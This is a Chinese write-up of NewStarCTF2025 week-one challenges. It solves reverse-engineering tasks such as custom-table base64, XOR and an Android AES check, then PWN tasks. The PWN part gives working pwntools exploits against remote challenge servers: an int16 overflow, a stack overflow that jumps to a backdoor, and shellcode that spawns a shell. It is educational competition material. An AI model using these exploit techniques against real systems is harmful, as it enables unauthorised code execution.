NewStarCTF2025-WEEK1

Reverse

Strange Base

IDA定位到函数

明显是将我们的输入结果base64加密后和buf2比较

跟进分析base64_encode函数

发现很明显的base64加密特征,直接解密发现失败

大概率是换表base64,跟进上面的table提取出表解密即可

解密

python 复制代码
import base64
import string

str1 = "T>6uTqOatL39aP!YIqruyv(YBA!8y7ouCa9=" # 密文

string1 = "HElLo!A=CrQzy-B4S3|is'waITt1ng&Y0u^{/(>v<)*}GO~256789pPqWXVKJNMF"
string2 = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"

print (base64.b64decode(str1.translate(str.maketrans(string1,string2))))

flag{Wh4t_a_cra2y_8as3!!!}

X0r

IDA分析主函数代码,发现把我们的输入存储到str中,每三个为一组,每组内按下标分别进行异或

直接对照逻辑逆向就行

python 复制代码
enc="anu`ym7wKLl$P]v3q%D]lHpi"
key=[0x13,0x13,0x51]
enc_list=[0]*len(enc)
flag=""
for i in range(len(enc)):
    enc_list[i]=(ord(enc[i])^key[i%3])
for i in range(len(enc)):
    if i%3==0:
        flag+=chr(enc_list[i]^0x14)
    elif i%3==1:
        flag+=chr(enc_list[i]^0x11)
    else:
        flag+=chr(enc_list[i]^0x45)
print(flag)

flag{y0u_Kn0W_b4s1C_xOr}

Puzzle

IDA分析主函数,发现flag被切分为四个部分,那我们只需要找到四个部分即可

按题目说明依次找出part1 part2 part3 part4即可

查字符串找到part4

下面有个提示second

查交叉引用,得到part2

字符串列表中还存在

看交叉引用,得到part1

还有可疑串

继续查看交叉引用

将数据异或得到part3

拼在一起就行

flag{Do_Y0u_Like_7his_Jigs@w_puzz1e_Gam3}

EzMyDroid

JADX分析APK文件

找到加密函数和主要加密逻辑

发现加密过程是把我们的输入先进行AES加密,然后BASE64加密,全部都在Java层

所以直接解密base64,再解AES即可

flag{@_g00d_st@r7_f0r_ANDROID}

plzdebugme

IDA分析主函数

发现经过了很多种加密,直接逆向算法的话耗时较大,所以这里选择动调的方式

直接在最后依次加密完成后下断点,动调提取数据即可

触发断点后在flag处提取数据

flag{It3_D3bugG_T11me!_le3_play}

PWN

GNU Debugger

是一个熟悉GDB的题,按照提示走就行

第一关是获取R12中的值

按c后输入R12的值即可来到第二关

第二关是获取内存地址处的数据

获取内存中数据然后厨子转字符串,来到第三关

要求我们下断点,在该地址处下断点

触发断点后一直ni到最后一关

最后一关是修改地址0x7fffffffd7d4处的值为0xdeadbeef

先查看该处的值,然后通过set进行修改,得到最终flag

INTbug

IDA查看func

因为这里的v1为int16,是一个有符号的16位整数,最高位为符号位

所以我们只需要输入32768个1,使得v1溢出为负数即可

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./INTbug")
p=remote("47.94.87.199",34898)
# gdb.attach(p)
# pause()
p.recvline("welcome to NewStarCTF2025!\n")
payload = b'1\n' * 32768
p.sendline(payload)
p.interactive()

pwn's door

IDA查看,发现只是把我们的输入进行比较

满足条件即可获取权限

编写脚本

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./door")
p=remote("39.106.48.123",30317)
p.recvline()
binsh=0x6B6579
p.sendline(str(binsh))
p.interactive()

overflow

查看main

直接跟进try

发现存在栈溢出,覆盖长度为0x100+0x8

编写payload

这里会有EOF,需要一个ret滑一下

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
p=process("./overflow")
p=remote("39.106.48.123",37508)
p.recvline()
backdoor=0x0401200
ret=0x401016
p.sendline(b"a"*0x108+p64(ret)+p64(backdoor))
p.interactive()

input_function

我们可以发现buf映射到的虚拟地址具有可读可写可执行的权限

也可以用vmmap查看

并且后续会调用buf,典型的ret2shellcode,编写EXP

python 复制代码
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
# p=process("./input_function")
p=remote("39.106.48.123",36843)
p.recvline("please input a function(after compile)")
# gdb.attach(p)
# pause()
payload=asm(shellcraft.sh())
p.sendline(payload)
p.interactive()
相关推荐
Fnetlink110 小时前
Fnet 云网安 260904
网络·人工智能·安全·web安全·网络安全
TechWayfarer13 小时前
Cloudflare 9·15新政倒计时:用IP风险画像识别AI爬虫,防止误伤Googlebot
网络·人工智能·爬虫·python·tcp/ip·网络安全
ynm11114 小时前
2026.8.31(2)【AES】MRCTF2020 Unravel!!
网络安全·buuctf·青少年ctf
三84415 小时前
SSRF 从入门到实战:原理、危害与基础利用
服务器·网络安全·ssrf·#web安全
小小小小钰儿15 小时前
1.2-AI核心理论与术语
人工智能·计算机·网络安全·信息安全·程序员·编程
学逆向的1 天前
扩展PE头属性说明
开发语言·网络安全·pe
Latticy2 天前
vulnhub系列靶机-Photographer
网络·网络安全·内网渗透·内网
sbjdhjd2 天前
PHP eval 型 RCE:flag 正则过滤与通配符绕过实操 | 01
安全·web安全·网络安全·开源·系统安全·php·网络攻击模型
数据知道2 天前
静态分析入门——PE 结构、字符串、导入表快速定性
网络·安全·web安全·网络安全
芯盾时代2 天前
金融新规全条款合规落地映射的解决方案
网络·网络安全·金融